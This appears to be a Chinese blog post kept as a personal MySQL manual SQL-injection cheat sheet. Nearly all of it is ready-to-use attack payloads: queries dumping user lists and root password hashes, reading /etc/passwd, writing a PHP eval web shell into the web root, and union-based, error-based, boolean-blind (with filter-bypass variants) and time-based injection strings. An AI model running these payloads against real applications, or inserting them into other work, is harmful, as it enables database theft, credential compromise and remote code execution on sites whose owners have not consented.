MYSQL手工注入备忘录

W.r 225 次浏览 0

MYSQL语句备忘录,平时查阅用,随时更新。

常用信息及语句

当前用户:user()
数据库版本:version()
数据库名: database()
操作系统:@@version_compile_os
所有用户:
select group_concat(user) from mysql.user

用户hash:
select group_concat(password) from mysql.user where user='root'

所有数据库:

SELECT group_concat(schema_name) from information_schema.schemata

表名:
SELECT group_concat(table_name) from information_schema.tables where table_schema='库名'

//表中有主码约束,非空约束等完整性约束条件的才能用这个语句查询出来
SELECT group_concat(table_name) from information_schema.table_constraints where table_schema='库名'

字段名:
SELECT group_concat(column_name) from information_schema.columns where table_name='表名'
读文件:
SELECT load_file('/etc/passwd')

写文件:
SELECT <?php @eval($_POST[1]);?> into outfile '/var/www/html/shell.php'
1.2 UNION注入
1.2.1 猜字段长度
order by num
Example:id=1 order by 2 页面正常,id=3 order by 6页面错误,那么字段就是2
字符型的话需要注释后面的引号,Example:
id=1' order by 2%23

1.2.2 暴字段位置
and 1=2 UNION SELECT 1,2或 id=-1 UNION SELECT 1,2

1.2.3 基本语法
UNION SELECT 1,password,3 from admin

1.3 报错注入
mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法

1.3.1 floor
?id=1 OR (SELECT 8627 FROM(SELECT COUNT(*),CONCAT(0x70307e,(SELECT user()),0x7e7030,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

1.3.2 ExtractValue(有长度限制,最长32位)
?id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))
1.3.3 UpdateXml(有长度限制,最长32位)
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
1.3.4 NAME_CONST(适用于低版本,不太好用)
?id=261 and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)
1.3.5 Error based Double Query Injection
?id=1 or 1 group by concat_ws(0x7e,version(),floor(rand(0)*2)) having min(0) or 1

1.3.6 exp(5.5.5以上)
id=1 and (select exp(~(select * from(select user())x)))
1.4 BOOL盲注
盲注的时候一定注意,MySQL4之后大小写不敏感,可使用binary()函数使大小写敏感。

1.4.1 构造布尔条件
现在很多CTF比赛脑洞都出在了bool条件的构造,花式bool条件构造。
//正常情况
'or bool#
true'and bool#

//不使用空格、注释
'or(bool)='1
true'and(bool)='1

//不使用or、and、注释
'^!(bool)='1
'=(bool)='
'||(bool)='1
true'%26%26(bool)='1
'=if((bool),1,0)='0

//不使用等号、空格、注释
'or(bool)<>'0
'or((bool)in(1))or'0

//其他
or (case when (bool) then 1 else 0 end)

有时候where字句有括号又猜不到SQL语句的时候,可以有下列类似的fuzz

1' or (bool) or '1'='1
1%' and (bool) or 1=1 and '1'='1

1.4.2 构造逻辑判断
逻辑判断基本就那些函数:

left(user(),1)>'r'  
right(user(),1)>'r'  
substr(user(),1,1)='r'  
mid(user(),1,1)='r' 

//不使用逗号 
user() regexp '^[a-z]'
user() like 'root%'
POSITION('root' in user())
mid(user() from 1 for 1)='r'
mid(user() from 1)='r'

ASCII()、ORD()和CHAR()函数一般用做辅助。
1.4.3 利用order by盲注

mysql> select * from admin where username='' or 1 union select 1,2,'5' order by 3;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | 2        | 5                                |
|  1 | admin    | 51b7a76d51e70b419f60d3473fb6f900 |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)

mysql> select * from admin where username='' or 1 union select 1,2,'6' order by 3;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | 51b7a76d51e70b419f60d3473fb6f900 |
|  1 | 2        | 6                                |
+----+----------+----------------------------------+
2 rows in set (0.01 sec)

这种注入一般出现在登录处,形成bool条件。这里只获取password的值,也可以跟多个UNION查询其他的数据,此方法优点在于不使用括号等号等字符。利用order by姿势很多,自由发挥了。
1.5 延时盲注
相对于bool盲注,就是把返回值0和1改为是否执行延时,能用其他方法就不使用延时。
一般格式if((bool),sleep(3),0)和or (case when (bool) then sleep(3) else 0 end)

两个函数:
BENCHMARK(100000,MD5(1)) or sleep(5)

BENCHMARK()用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的cpu资源。推荐使用sleep()
1.6 MySQL注释符:

 -- -
/* .... */
#
`
;%00 

发表评论 取消回复
表情